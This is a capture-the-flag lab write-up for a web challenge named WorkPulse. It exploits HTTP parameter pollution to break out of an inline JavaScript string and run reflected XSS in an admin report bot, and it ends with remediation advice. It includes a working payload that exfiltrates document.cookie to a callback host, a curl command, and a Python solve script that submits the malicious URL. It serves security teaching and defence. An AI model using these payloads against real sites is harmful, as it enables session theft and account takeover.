Lab 77 — WorkPulse — Stored XSS via Web Cache Poisoning
Lab 77 — WorkPulse — Stored XSS via Web Cache Poisoning
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-22 | Status: Solved Techniques: http_parameter_pollution, waf_bypass, javascript_string_breakout, admin_bot_exploitation
Summary
Task: WorkPulse exposes search, shared nginx caching, and an authenticated admin report bot. Solution: duplicate query parameters bypassed edge filtering and broke out of an inline JavaScript string, yielding direct reflected XSS in the bot.
Lab 77 — WorkPulse — Stored XSS via Web Cache Poisoning — hackadvisor
Description
WorkPulse employer-review platform with company profiles, reviews, annual awards, search, nginx caching, and an admin report bot.
The goal was to make the privileged report bot execute attacker-controlled JavaScript and recover the challenge flag from its cookies. Although the title suggested stored XSS through cache poisoning, the verified solution used a shorter reflected-XSS route based on HTTP parameter pollution (HPP).
Reconnaissance
The application was Express behind nginx/1.25.5. The main useful surfaces were:
GET /companies?q=..., which reflectedqinto HTML and an inline script;- annual award pages, which returned
X-Cache-Status: MISSand thenHIT; - authenticated
POST /report, whose bot visited the suppliedurl; - review, profile, and report fields, which were stored but escaped when rendered.
The award cache was shared and keyed only by path. Query strings and cookies did not vary the cached object, and the observed lifetime was about 600 seconds. An authenticated award response could consequently be served to an anonymous requester. However, tests with query parameters, forwarding headers, cookies, and fat GET requests found no attacker-controlled value reaching an executable award-page sink.
The decisive sink appeared on /companies:
javascript read-only • copy allowedvar searchQuery = '<q value>';
HTML escaping elsewhere on the page did not protect this JavaScript string context. A request containing a single quoted q value was rejected with HTTP 403 by the edge filter.
Root Cause
The edge and Express interpreted duplicate query parameters differently:
- The filter accepted a benign first value in
q=SAFE. - Express parsed
q=SAFE&q=<payload>as an array. - When interpolated into the template, the array stringified to
SAFE,<payload>. - The second value closed the single-quoted JavaScript string and injected statements.
This parser differential allowed a quote that was blocked in a single parameter to reach the sink in the second duplicate parameter. Conceptually, the rendered script became:
javascript read-only • copy allowedvar searchQuery = 'SAFE,';location=`http://interact/<INSTANCE>/callback/hppadmin77/`+btoa(document.cookie)//';
No cache interaction was needed. The issue was direct reflected XSS combined with HPP and a privileged URL-visiting bot, not stored XSS in the application database.
Solution
1. Confirm the duplicate-parameter breakout
The compact JavaScript payload was:
javascript read-only • copy allowed';location=`http://interact/<INSTANCE>/callback/hppadmin77/`+btoa(document.cookie)//
After URL encoding, request it as the second q value:
bash read-only • copy allowedBASE='https://<INSTANCE>.labs.hackadvisor.io' PAYLOAD='%27%3Blocation%3D%60http%3A%2F%2Finteract%2F<INSTANCE>%2Fcallback%2Fhppadmin77%2F%60%2Bbtoa%28document.cookie%29%2F%2F' curl -sS "$BASE/companies?q=SAFE&q=$PAYLOAD"
The response contained the expected SAFE, array prefix followed by a JavaScript string breakout and navigation to the interaction server.
2. Authenticate and report the malicious relative URL
The report endpoint requires a logged-in user. The following script logs in, constructs the encoded payload, and submits the relative URL for admin review:
python read-only • copy allowed#!/usr/bin/env python3 import os from urllib.parse import quote import requests INSTANCE = os.environ["INSTANCE"] BASE = f"https://{INSTANCE}.labs.hackadvisor.io" CALLBACK = f"http://interact/{INSTANCE}/callback/hppadmin77/" session = requests.Session() login = session.post( f"{BASE}/login", data={ "email": os.environ.get("WORKPULSE_USER", "user@test.com"), "password": os.environ["WORKPULSE_PASSWORD"], }, allow_redirects=True, ) login.raise_for_status() javascript = f"';location=`{CALLBACK}`+btoa(document.cookie)//" relative_url = "/companies?q=SAFE&q=" + quote(javascript, safe="") report = session.post( f"{BASE}/report", data={"url": relative_url, "reason": "other"}, allow_redirects=True, ) report.raise_for_status() assert "submitted" in report.text.lower() print("Report submitted; wait for the interaction callback.")
Run it with the instance identifier and supplied lab credentials in environment variables:
bash read-only • copy allowedINSTANCE='<INSTANCE>' WORKPULSE_PASSWORD='<SUPPLIED_PASSWORD>' python3 solve.py
3. Decode the callback
HeadlessChrome 124 visited the reported URL and requested:
text read-only • copy allowed/callback/hppadmin77/<BASE64_REDACTED>
Decode only the final path component:
python read-only • copy allowedimport base64 import sys print(base64.b64decode(sys.argv[1]).decode())
The decoded value had the form:
text read-only • copy allowedflag=FLAG{REDACTED}; adminSession=<REDACTED>
This proved JavaScript execution in the privileged browser and provided the verified flag. The unrelated flag-like string embedded in public HTML was a deliberate decoy, not the result of the exploit.
Failed and Unnecessary Paths
- Award pages demonstrably used a path-only shared cache, but tested query, header, cookie, and fat-GET inputs produced no executable reflection there.
- Stored review, profile, and report values were contextually HTML-escaped.
- A report-reason payload was escaped in report history and caused no callback.
- A Unicode line-separator probe reached the inline script but did not break the string in modern Chromium.
- Cache-path normalization attempts did not map the dynamic
/companiesrenderer into the cached/awards/location.
These results explain why the advertised cache-poisoning chain was plausible but unnecessary for the successful solve.
Impact
Any authenticated user able to submit a report could cause the administrator bot to execute arbitrary same-origin JavaScript. The script could read non-HttpOnly cookies, perform authenticated actions, or exfiltrate sensitive data available to the privileged browser.
Remediation
- Never interpolate untrusted values directly into JavaScript source. Serialize data with a safe JSON encoder and escape
<, U+2028, and U+2029, or place it in a non-executable data element. - Define one canonical query-parameter policy across nginx, filters, and Express. Reject duplicate scalar parameters before validation and rendering.
- Apply allowlist validation after application parsing, not only at the edge.
- Mark sensitive cookies
HttpOnly,Secure, and with an appropriateSameSitepolicy. - Restrict the report bot to validated same-origin paths, isolate it from privileged secrets, and use a low-privilege review account.
- Include every response-varying input in cache keys and never share authenticated responses with anonymous users.
- Deploy a restrictive Content Security Policy that blocks unsafe inline scripts.